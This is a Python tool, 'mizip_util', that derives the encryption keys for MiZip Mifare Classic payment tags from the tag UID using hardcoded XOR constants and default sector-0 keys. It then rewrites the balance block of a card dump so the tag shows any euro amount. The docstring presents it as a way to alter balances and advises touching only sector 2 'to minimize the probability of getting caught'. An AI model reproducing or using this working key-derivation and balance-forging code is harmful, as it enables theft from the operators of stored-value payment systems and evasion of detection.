#!/usr/bin/env python """ A simple, decently written and modern Python 3.8+ tool to ease the altering of balance with MiZip Mifare tags. It can generate keys for decryption of sectors using the Mifare Classic Tool application available on Android and on desktop, as well as automate the generation of block 0/1 of sector 2 to alter a tag's balance. It is recommended to avoid overwriting all but sector 2 to minimize the probability of getting caught """ from re import match from sys import exit from typing import List from time import strftime from os.path import exists, isfile from argparse import ArgumentParser # These handy constants, as well as the algorithm, come from https://gist.github.com/y0no/70565a8d09203122181f3b3a08bffcbd#file-mizip_calc-py, # which in turn got them from https://github.com/iceman1001/proxmark3/blob/master/client/scripts/calc_mizip.lua whose author states that they # did not find out this algorithm (and probably the constants as well?) on their own. I guess it's stealing all the way down! # This is a 6-byte big-endian XOR table, if you're wondering XORTABLE = ( (0x09125a2589e5, 0xF12C8453D821), (0xAB75C937922F, 0x73E799FE3241), (0xE27241AF2C09, 0xAA4D137656AE), (0x317AB72F4490, 0xB01327272DFD), ) # These tell calc_key which byte of the UID are # XORed with which byte of the XOR offset in the # table above to generate either an A or a B key KEY_IDX = { 'A': (0, 1, 2, 3, 0, 1), 'B': (2, 3, 0, 1, 2, 3) } # Sector 0 uses constant hardcoded keys, and so do we SECTOR_0_KEYS = ("a0a1a2a3a4a5", "b4c132439eef") def calc_key(uid: bytes, xor: bytes, kind: str) -> str: """ Calculates the encryption key (either A or B), for a given entry in the XOR table. Raises a ValueError exception if the given key type is not valid """ if (idx := KEY_IDX.get(kind)) is None: raise ValueError(f"invalid key type: {kind!r}") return "".join([f'{uid[j] ^ xor[i]:02x}' for i, j in enumerate(idx)]) def calc_block(original: str, balance: float) -> str: """ Calculates a replacement block for block 0 or 1 in sector 2 by using the original block and generates a replacement with the desired new balance. Some amount of validation is performed on the input, the intermediate results, as well as the output: those can be turned off by enabling the highest level of optimizations when calling python, but this is not recommended. Note: This function expects that the needed validation to tell which block (either 0 or 1) of sector 2 of the tag contains the balance has been performed """ # TL;DR: In a MiZip Mifare tag, the balance is encoded in sector 2. # Specifically it's located either in block 1 or 0, depending on the value # of the first 2 bytes of block 2 (55 = block 1, AA = block 0). This can be # checked by looking at the third and fourth byte of block 2, which should mirror # the last 2 bytes of the block containing the balance (this pattern appears to be # a generic checksum applied to all sectors, except for the first block). # The first 2 bytes of the block (0 or 1) are untouched, the next four # encode the balance (in cents, so 1 euro = 100 cents) in hexadecimal # with each pair of bytes swapped (so ABCD becomes CDAB) and the next 2 bytes # are a checksum computed by XORing the first half of the preceding 4 bytes # with the second half. The rest of the block is unused for balance purposes # and contains an operation counter and other things we don't care about assert len(original) == 32, "The block size must be 32 bytes" hex_balance = hex(int(balance) * 100).strip("0x").zfill(4) assert len(hex_balance) == 4, f"Expecting the length of hex_balance to be 4, found {len(hex_balance)} instead (0x{hex_balance})" hex_balance = f"{hex_balance[2:]}{hex_balance[0:2]}" check = hex(int(hex_balance[0:2], base=16) ^ int(hex_balance[2:], base=16)).strip("0x").zfill(2) new_block = f"{original[0:2]}{hex_balance}{check}{original[8:]}".upper() assert len(new_block) == 32, f"The new block size is != 32 ({len(new_block)}): Balance too high?" return new_block def parse_dump(file: str) -> List[List[str]]: """ Parses a given .mct file as produced by Mifare Classic Tool. Note that this function makes no assumption about the number of sectors or blocks and will happily parse a 2000-block sector (which is probably not gonna fit anywhere). Returns a list of lists where each list is a sector and each element in a sublist is a block (in hexadecimal). Raises a ValueError exception if the given file does not exist or upon a parsing error. The file path is used as-is and is passed directly to Python's builtin open() function """ if not exists(file): raise ValueError("error while reading {file!r}: path does not exist") elif not isfile(file): raise ValueError("error while reading {file!r}: path does not point to a file") result = [] sector = 0 line = 0 with open(file) as fp: contents = fp.readlines() while contents: line += 1 section = contents.pop(0) if section.startswith("#"): continue # Comments on their own line elif m := match(r"\+Sector: ([0-9]+)", section): sector = int(m.group(1)) if len(result) == sector: # New sector! result.append([]) else: raise ValueError(f"error while parsing {file!r} at line {line}: expecting sector {len(result)}, got {sector} instead") elif m := match(r"^([a-zA-z0-9]+)(\s)*(#.+$)*", section): # This match makes us ignore comments! if len(m.group(1)) != 32: raise ValueError(f"error while parsing {file!r} at line {line}: invalid block length (expecting 32, found {len(m.group(1))} instead)") result[sector].append(m.group(1)) else: raise ValueError(f"error while parsing {file!r} at line {line}: invalid data in dump file") # This is where we check the sector checksums for i, sector in enumerate(result[1:]): # Sector 1 is different so we skip it if len(sector) < 2: raise ValueError(f"Error when validating {file!r} at sector {i + 1}: too few blocks (expecting >= 2, found {len(sector)} instead)") if (sector[2][:2] == "55" and sector[1][-2:] == sector[2][2:4]) or (sector[2][:2] == "AA" and sector[0][-2:] == sector[2][2:4]): # Checksum is valid! continue else: raise ValueError(f"Error when validating {file!r} at sector {i + 1}: sector check mismatch or invalid block 2") return result if __name__ == '__main__': parser = ArgumentParser(prog="mizip_util", description="A simple tool to ease the altering of balance with MiZip Mifare tags. It can generate keys" " for decryption of sectors using Mifare Classic Tool as well modified dumps to alter a tag's balance") parser.add_argument("--uid", "-u", help="The UID of the tag (use any NFC reader app to find that out), for example 1123FD4E", required=True) parser.add_argument("--keys-only", help="Only generate the decryption keys for the tag (use in the Mifare Classic Tool app). Useful if you do not have a dump file yet", action="store_true", default=False) parser.add_argument("--dump-keys", "-k", help="Writes the keys to the given file. Note: The file is created if it does not exist and overwritten if it does!") parser.add_argument("--balance", "-b", help="Generates a new dump with the balance set to the this value (floating point, in euros), defaults to 0.0", default=0.0, type=float) parser.add_argument("--dump", "-d", help="The path to an .mct dump of the sectors of the MiZip tag (create it via the Mifare Classic Tool app)") parser.add_argument("--dump-output", "-o", help="Writes the newly generated dump to the given file. Note: The file is created if it does not exist and overwritten if it does!") arguments = parser.parse_args() try: if len(arguments.uid) != 8: print("You have provided an invalid UID! It must be of the form XXXXXXXX") exit(1) try: uid = bytes.fromhex(arguments.uid) except ValueError: print("The provided UID is invalid! Make sure it doesn't contain spurious characters such as ':' or '-'") exit(1) if arguments.dump_keys: print(f"Writing A/B keys for MiZip Mifare tag with UID {arguments.uid} to {arguments.dump_keys!r}") with open(arguments.dump_keys, "w") as keys: print(f"# Generated with mizip_util by @nocturn9x for tag with UID {arguments.uid} on {strftime('%d/%m/%Y %H:%M:%S %p')}", file=keys) print(f"# A\n{SECTOR_0_KEYS[0]}", file=keys) for xorKey, _ in XORTABLE: # We first print all the A keys, then all the B keys, as this is the format MCT expects print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'A')}", file=keys) print(f"# B\n{SECTOR_0_KEYS[1]}", file=keys) for _, xorKey in XORTABLE: print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'B')}", file=keys) else: print(f"Generating A/B keys for MiZip Mifare tag with UID {arguments.uid}") print(f"# A\n{SECTOR_0_KEYS[0]}") for xorKey, _ in XORTABLE: # We first print all the A keys, then all the B keys, as this is the format MCT expects print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'A')}") print(f"# B\n{SECTOR_0_KEYS[1]}") for _, xorKey in XORTABLE: print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'B')}") if not arguments.keys_only: if not arguments.dump: print("You must provide the original dump of your MiZip tag to alter the balance!") quit(1) print(f"Generating new dump with updated balance of {arguments.balance:.2f} euros ({int(arguments.balance) * 100} cents)") dump = parse_dump(arguments.dump) if dump[2][2][:2] == "55": print(f"Balance block is 1") balance_block = (2, 1) else: # parse_dump already checks the rest so we only need an else print("Balance block is 0") balance_block = (2, 0) # We replace the block containing the original balance with a new one with a different balance dump[balance_block[0]][balance_block[1]] = calc_block(dump[balance_block[0]][balance_block[1]], arguments.balance) if arguments.dump_output: print(f"Writing new dump to {arguments.dump_output!r}") with open(arguments.dump_output, "w") as output: for i, sector in enumerate(dump): print(f"+Sector: {i}", file=output) for block in sector: print(block, file=output) else: for i, sector in enumerate(dump): print(f"+Sector: {i}") for block in sector: print(block) except Exception as error: print(f"An error occurred while working -> {type(error).__name__}: {error}")